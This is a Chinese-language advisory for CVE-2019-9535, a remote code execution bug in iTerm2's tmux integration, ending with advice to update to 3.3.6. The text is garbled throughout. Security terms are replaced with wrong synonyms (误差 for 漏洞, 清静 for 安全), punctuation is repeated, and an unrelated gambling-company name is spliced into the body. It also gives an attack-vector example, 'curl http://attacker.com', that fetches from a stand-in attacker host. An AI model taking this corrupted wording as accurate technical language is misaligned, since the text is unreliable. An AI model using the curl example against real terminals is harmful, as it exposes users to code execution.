iTerm2远程代码执行误差清静通告

宣布时间 2019-10-10

误差编号和级别


CVE编号：CVE-2019-9535，，，， ，，，危险级别：高危，，，， ，，，CVSS分值：官方未评定


影响版本


iTerm2 3.3.5之前的所有版本均受误差影响


误差概述


iTerm2 是全球最热门的终端模拟器之一，，，， ，，，是开发职员经常使用的 MacOS 终端工具，，，， ，，，是Mac 内置终端 app 最有力的热门开源工具替换品之一，，，， ，，，被许多开发职员称为“Mac 终端利器”。。。。


iTerm2官方宣布了清静更新修复了一个至少保存7年的远程代码执行误差，，，， ，，，这个误差源自 iTerm2 中的 tmux 集乐成能。。。。Tumx 应用程序是一款终端多路复用器，，，， ，，，可允许从单个装备建设并控制多个终端。。。。


攻击者可以在用户的终端爆发输出，，，， ，，，潜在的攻击向量包括通过 ssh 毗连至恶意效劳器，，，， ，，，通过curl 获取恶意网站，，，， ，，，或者通过 tail –f 跟踪包括某些恶意内容的日志文件。。。。例如：curl http://attacker.com and tail -f /var/log/apache2/referer_lo。。。。在许多情形下能够在用户盘算机上执行下令。。。。


误差验证


外洋的Radially Open Security已经放出误差使用乐成的视频：https://ffp4g1ylyit3jdyti1hqcvtb-wpengine.netdna-ssl.com/security/files/2019/10/cve-2019-9535.webm?_=3。。。。模拟受害者机械毗连到恶意 SSH 效劳器之后，，，， ，，，在机械上执行翻开一个盘算器下令的PoC 视频。。。。


万利国际官网(中国游)有限公司



修复建议


官方已经推出清静更新，，，， ，，，请更新至iTerm2到3.3.6版本：https://iterm2.com/downloads.html。。。。


参考链接


https://blog.mozilla.org/security/2019/10/09/iterm2-critical-issue-moss-audit/